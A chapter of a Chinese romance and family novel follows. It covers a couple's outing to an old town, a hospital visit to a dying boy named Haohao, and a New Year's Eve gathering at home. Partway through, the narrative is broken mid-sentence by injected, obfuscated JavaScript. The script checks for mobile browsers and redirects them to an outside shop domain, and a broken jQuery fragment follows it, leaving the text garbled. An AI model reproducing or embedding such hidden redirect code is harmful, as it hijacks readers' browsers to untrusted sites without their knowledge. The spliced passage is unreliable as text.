云层很厚，沉甸甸地压着飞檐，近午的阳光从云的罅隙里吝啬地漏下几缕，冷而白，照在河面，像碎了的水银，随即又被冷风吹起的涟漪吞没，古镇被冬日特有的倦怠的、萎靡的日光笼罩。
宁愿牵着江慕的手漫步在青石板路上，越过石桥，偶尔驻足买些零嘴，又或是停下脚步拍照。
江慕更喜欢也更擅长拍景，调整参数，举起相机，按下快门，结束。
通常这时候她才用手机取好景，一部分原因是她的手机实在太旧了，内存几乎占尽，连打开相机都会有一段时间的黑屏，当然很大一部分原因是她不熟练。
江慕弯腰凑到她的耳边与她保持视线水平，好奇地问：“你在拍什么？”
屏幕里黯淡的河水与不透亮的天几乎融为一体，只能依靠横亘在最中间的拱形石桥分辨，上是天，下是河，两边木屋依着河畔而立，倒映在河面。
“哝，古镇的中心。”她说完立刻调转镜头方向，将依偎在一起的两个脑袋框进画面正中，稍稍偏过头，说：“我的中心。”
镜头里的男人稍一怔愣，随即嘴角上扬，快要咧到耳垂似的。
江慕笑着把她揽进胸膛，“小桃，能认识你真是太好了，我甚至开始感谢那天的失眠，感谢那天的雨。”
“我知道。”宁愿仰起头，笑吟吟地看着他。
“愿愿？”
试探的叫声在不远处响起，两个女生站在斜前方，看到她转过头，立刻兴奋地跑上前，在她的面前站定。
一个扎着双马尾的小姑娘迟疑地伸出手，要碰到她之前手臂转弯挠了挠头，“是愿愿吧，奇迹愿愿？”
奇迹愿愿是宁愿在社交平台上的名字。
“是我，你们好。”宁愿点头答应。
江慕松开手臂，向后退了几步，站在不近不远的地方。
“愿愿！我是你的粉丝！”双马尾女生激动地原地跳了起来，“我无意间刷到你的碎碎念视频，跟着你化妆的步骤自己试了一下，简直惊为天人！”
她把脸凑上前左右摇摆，“你看你看，我从来没有化过这么服帖的底妆，希望你以后还能多多发些妆教视频。”
宁愿有些感动，用力点头答应，“谢谢你，我会的！”
“不打扰你玩啦，拜拜。”她摆了摆手，拉着同行的朋友快速跑开。
直到江慕重新回到她的身边，她才收回视线。
“在想什么？”他问。
“我竟然有粉丝了诶！”宁愿喜出望外，又有些懊恼地拍了拍手，“可惜业务不熟练，不然应该问问她的ID。”
江慕轻笑，“有缘的话怎么样都会遇见，没准以后你们又见到了，或者你有一天在网上刷到了她的帖子。”
“那我一定要关注她。”
炊烟袅袅升起，落日没入幢幢树影，天色渐渐变得昏暗，宁愿和江慕驱车离开了古镇。
-
“姐姐！哥哥，”里里放下手里的书碎步跑到他们面前，“你们回来了，古镇好玩吗？”
江慕把手里拎着的袋子递给她，顺手揉了揉她的脑袋。
“好玩的呀，给你带了些小玩意。”宁愿开口，“皓皓呢？”
里里撑开袋子口向内探了一眼，没有取出，而是双臂抱着袋子，垂着脑袋，肉眼可见的失落，“皓皓去放疗了……”
话音落下，车轮滚动的“嘎吱”声从远处缓缓靠近。
“是皓皓。”
里里快步走到门口迎上前，隔着一些距离都能听见她的声音，“姐姐来了，给我们带了很多礼物……”
高挑的音调戛然而止，轻盈欢悦里压抑着一股悲伤，于是变得不伦不类。
里里跟在轮椅旁边缓步走进病房，宁愿望过去，一眼就看见坐在轮椅上的男孩。
他变得更瘦了，脸颊上已经没有什么多余的肉，宽大的病号服里露出一截皮包骨头的手臂，隐约可以看见青紫色的淤痕向上蜿蜒。他握着轮椅的扶手，整个人歪斜地蜷缩在轮椅一角，看到她还勉强地提起嘴角，虚弱地说：“姐姐，你来了。”
宁愿愣了一下，为他越来越糟糕的状态，还有这个称呼。
他从前一直叫她“小愿姐姐”，里里的好朋友都这么叫她。如今省去“小愿”两个字，变为“姐姐”……
她曾经就是她的姐姐。
宁姨也愣住了，直直地看着他，片刻后抬起头瞥了她一眼，不知道想到了什么，低下头的瞬间眼泪无声落下。
她也憔悴了许多，白发几乎完全把黑发掩盖，脸色蜡黄，眼神麻木无光。
她慌张地抹去眼泪，故作镇定地把轮椅推到床边，搀扶着皓皓起身。
宁愿上前一步，小心地搭着皓皓的胳肢窝把他放在床沿。
清晰分明的肋骨被薄薄的皮肤裹着，即便是隔着毛衣依旧有刮蹭着掌心的感觉，她下意识又把动作放轻了一些。
“小愿，我可以和你说几句话吗？”宁姨塌着背握着自己的手，想要笑一下，但又笑不出，“很快，几分钟就好。”
宁愿缓缓点头，让江慕陪着两个小孩玩，跟着宁姨走出了病房。
楼道里没有暖气充溢，冷风簌簌，无孔不入，宁姨只穿着一件单薄的针织衫，却像是没有感知一样，愣愣地站在窗口。
“皓皓……医生说可能捱不过今年了。”
她的声音在发抖。
“放疗副作用太大，今天是最后一次，过几天，我们就出院回家了。”
“你的户口还在我们这儿，这两天就迁出去吧，他要和我离婚了。”
平淡如死水的语气听得人越发沉重。宁愿张了张嘴，最后只说：“好。”
“对不起，小愿。”
“宁姨……”
她转过身，望过来的神情很复杂，半是悔恨半是释怀，“要好好的。”
她点头答应。
“回去吧，我再待一会儿。”
“小心着凉。”
宁愿迟疑地转身，走出楼道前又忍不住回过头望了一眼。
风吹起衣衫，描摹出一道瘦削的背影，她逐渐挺直脊背，细弱的呜咽声响起，分不清是风还是哭泣。
“妈妈，”宁愿脱口而出，声音很轻，却又如此清晰，“保重身体。”
-
病房里，里里搬了一把凳子坐在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747412|209343||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
皓皓的病床边，在古镇买的那些小玩意整齐地堆在床上，他靠在床头，连睁眼这个动作都有些费劲，半眯着眼听里里说话，偶尔才附和上一句。
“快要过年了住进来的时候天气还热，如今快要下雪了，也不知道什么时候才能出院……”里里抬头见他闭上了眼睛，便不在说话，默默地把东西收进袋子，只留了一个木制雪人摆在床头。
她把雪人的表情调成笑脸，走到了窗边，“哥哥。”
“嗯？怎么了？”江慕把目光移到她的身上。
“好想吃烤肉，”她舔了舔唇，笑嘻嘻地一边用手比划一边说，“想和姐姐、哥哥、严阿姨、皓皓、甜甜姐姐、小满一起在大草坪吃烤肉，如果是雪天就更好了，我们可以堆雪人，打雪仗……”
“那挑一个雪天，我带你们去玩。”
“去哪里玩？”宁愿走进病房正好听到他说的话。
江慕快速地瞥向里里，她心虚地直摆手，一直给他使眼色，大概是在让他不要说。
他笑了一下，说：“快跨年了，我在想，能不能让里里回家吃个跨年饭，31号那天，等她输液结束，我们和医生请假，带她回家过年，第二天早上再把她送回来输液，怎么说也算是在家跨了年，吉利。”
宁愿有些意动，转眼望向里里。
“可以吗？”里里期待地问
“我去问问姚医生。”
“好耶！回家过年咯！”
里里裹着一件红色羽绒衣，头发扎成两个球球，前边还别了两个蝴蝶结发卡，浑身散发着一股喜气洋洋，小大人似的站在院子门口迎接她的小客人。
荒芜的庭院在这些天江慕的紧急“抢修”下完全变了模样——
不知道从哪里移植来的两颗松树上在挂满了星星、小礼盒与拐杖糖。
旁边的桃花树还没盛开，光秃秃地立着，树干裹着红色的“围巾”，倒也不显得孤寂。
小池子里，两条锦鲤追着打转，溅起的水珠落在池边光滑的鹅卵石上。
庭院的木门与矮石墙上摆着金桔树盆栽，挂着黄澄澄的果实。
白色的天幕稳妥地扎在庭院正中，长桌边摆着几张折叠椅，一旁还放着两张烧烤架。
“甜甜姐姐！你来啦，快来快来，先进屋。”
“小满！这里！”
“团子、圆子，好久不见！”
也不知道她是如何说服这些小朋友们和她们的家长，竟然一个不落全都到场。
她这般能说会道，以后怕是说不过她了。宁愿不由得扬起嘴角。
天色渐渐昏暗，暮蓝从远处的北山漫过来，缠绕在松树上的灯带便愈发的亮，红的、黄的、蓝的，在针叶间明灭流转。
庭院灯洒下柔白的光晕，几盏错落的灯泼在青石板小径上，将整个院子照得温润如半透明的琉璃匣。
烧烤架上炭火通红，火苗蹿动如舌，炊烟袅袅升起，融入斑斓灯影。
里里安顿好所有事好朋友，重新回到门口，她踮着起脚，探着脖子眺望。
幽长的道路上空无一人。
她牵着她的手，忍不住问：“姐姐，皓皓不来了吗？”